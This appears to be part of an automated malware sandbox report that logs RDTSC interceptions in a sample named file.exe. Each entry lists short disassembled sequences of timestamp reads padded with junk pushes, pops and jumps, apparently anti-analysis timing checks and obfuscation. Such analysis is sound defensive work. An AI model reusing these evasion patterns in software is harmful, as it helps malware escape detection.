Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FA88F9 second address: F8D38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F1F50F7797Ch 0x0000000b jnl 00007F1F50F77976h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F1F50F77988h 0x00000018 nop 0x00000019 ja 00007F1F50F7797Ch 0x0000001f lea eax, dword ptr [ebp+1249C156h] 0x00000025 sub dword ptr [ebp+122D1ACCh], eax 0x0000002b mov dx, 1BADh 0x0000002f nop 0x00000030 push ebx 0x00000031 jmp 00007F1F50F77982h 0x00000036 pop ebx 0x00000037 push eax 0x00000038 jmp 00007F1F50F77983h 0x0000003d nop 0x0000003e call 00007F1F50F77980h 0x00000043 add dx, 257Fh 0x00000048 pop edi 0x00000049 call dword ptr [ebp+122D1959h] 0x0000004f push eax 0x00000050 push esi 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE23D6 second address: FE23DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE23DF second address: FE23FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F1F50F77989h 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F1F50F77981h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE2696 second address: FE26C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1F50CBBC3Eh 0x0000000c jnp 00007F1F50CBBC36h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 js 00007F1F50CBBC70h 0x0000001b jne 00007F1F50CBBC44h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE285E second address: FE2868 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1F50F77976h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE2868 second address: FE2871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE2871 second address: FE2878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE2878 second address: FE2890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F1F50CBBC41h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE2A2B second address: FE2A3F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b jng 00007F1F50F77988h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE8850 second address: FE8856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE78A9 second address: FE78B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE78B5 second address: FE78B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE7D2A second address: FE7D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE7D2E second address: FE7D40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE7D40 second address: FE7D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE7D46 second address: FE7D78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC42h 0x00000007 jmp 00007F1F50CBBC42h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FE8275 second address: FE829C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77981h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F50F7797Ch 0x0000000e jnl 00007F1F50F77976h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEBDFB second address: FEBE11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEBE11 second address: FEBE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEBE17 second address: FEBE1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEBE1D second address: FEBE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50F77983h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEBE34 second address: FEBE50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c jg 00007F1F50CBBC36h 0x00000012 push eax 0x00000013 pop eax 0x00000014 je 00007F1F50CBBC36h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1146 second address: FF1150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1F50F77976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1150 second address: FF1154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1154 second address: FF115A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF12C3 second address: FF12CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF12CF second address: FF12D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF12D3 second address: FF12D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1732 second address: FF173A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF173A second address: FF1747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F1F50CBBC36h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1C58 second address: FF1C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1C5E second address: FF1C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1D98 second address: FF1DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF1DA1 second address: FF1DA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF200E second address: FF201A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF0E62 second address: FF0E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1F50CBBC36h 0x0000000a jmp 00007F1F50CBBC42h 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnl 00007F1F50CBBC36h 0x0000001a jng 00007F1F50CBBC36h 0x00000020 jo 00007F1F50CBBC36h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF0E96 second address: FF0EA0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1F50F77982h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F5FA46 second address: F5FA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F50CBBC36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F5FA51 second address: F5FA5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1F50F77976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F5FA5B second address: F5FA5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4BCC second address: FF4BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4BD0 second address: FF4BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F1F50CBBC3Bh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4BF0 second address: FF4BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4BF4 second address: FF4C1C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F50CBBC36h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F1F50CBBC36h 0x00000013 jmp 00007F1F50CBBC41h 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF786C second address: FF7872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF7872 second address: FF787D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF787D second address: FF7882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF7882 second address: FF78AB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F50CBBC3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F50CBBC47h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF7A1F second address: FF7A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD1BF second address: FFD1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD431 second address: FFD437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD437 second address: FFD468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F50CBBC40h 0x0000000d jmp 00007F1F50CBBC49h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD468 second address: FFD49A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1F50F77982h 0x0000000c jp 00007F1F50F77976h 0x00000012 jo 00007F1F50F77976h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD49A second address: FFD4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC3Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD4AB second address: FFD4B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFD4B1 second address: FFD4B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFDAC0 second address: FFDAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100228F second address: 100229E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jnl 00007F1F50CBBC38h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100229E second address: 10022A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10022A4 second address: 10022AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001AAD second address: 1001ABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F7797Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001FFD second address: 1002008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10056E9 second address: 10056ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10056ED second address: 10056F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1005BC5 second address: 1005BD0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1005BD0 second address: 1005BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1F50CBBC3Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100602C second address: 100604C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1F50F77983h 0x0000000b jng 00007F1F50F77976h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100CB61 second address: 100CB67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100CB67 second address: 100CB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100D6AE second address: 100D6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F50CBBC3Bh 0x00000008 jmp 00007F1F50CBBC41h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1F50CBBC3Ah 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100D6DE second address: 100D6E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100D97E second address: 100D982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DEC7 second address: 100DED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1F50F77976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DED1 second address: 100DEDB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1F50CBBC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100E1F0 second address: 100E1F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100E1F4 second address: 100E1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100E1FC second address: 100E203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100E203 second address: 100E230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC46h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d js 00007F1F50CBBC36h 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100E49A second address: 100E4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F77985h 0x00000009 js 00007F1F50F77976h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1012913 second address: 1012919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1012919 second address: 101291D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101291D second address: 1012968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F50CBBC3Eh 0x0000000b jnl 00007F1F50CBBC4Fh 0x00000011 pushad 0x00000012 jmp 00007F1F50CBBC43h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1011AD8 second address: 1011AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1011C2E second address: 1011C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1012015 second address: 101201B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101201B second address: 101201F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101723D second address: 1017241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1017241 second address: 1017255 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F50CBBC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F1F50CBBC7Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1017255 second address: 1017259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1017259 second address: 101725D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101F011 second address: 101F017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D20B second address: 101D211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D211 second address: 101D229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F1F50F7797Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D229 second address: 101D22F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D38E second address: 101D399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1F50F77976h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D399 second address: 101D39E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D7EC second address: 101D809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50F77987h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D95E second address: 101D962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D962 second address: 101D97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50F77986h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101D97E second address: 101D998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50CBBC44h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101DD9C second address: 101DDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
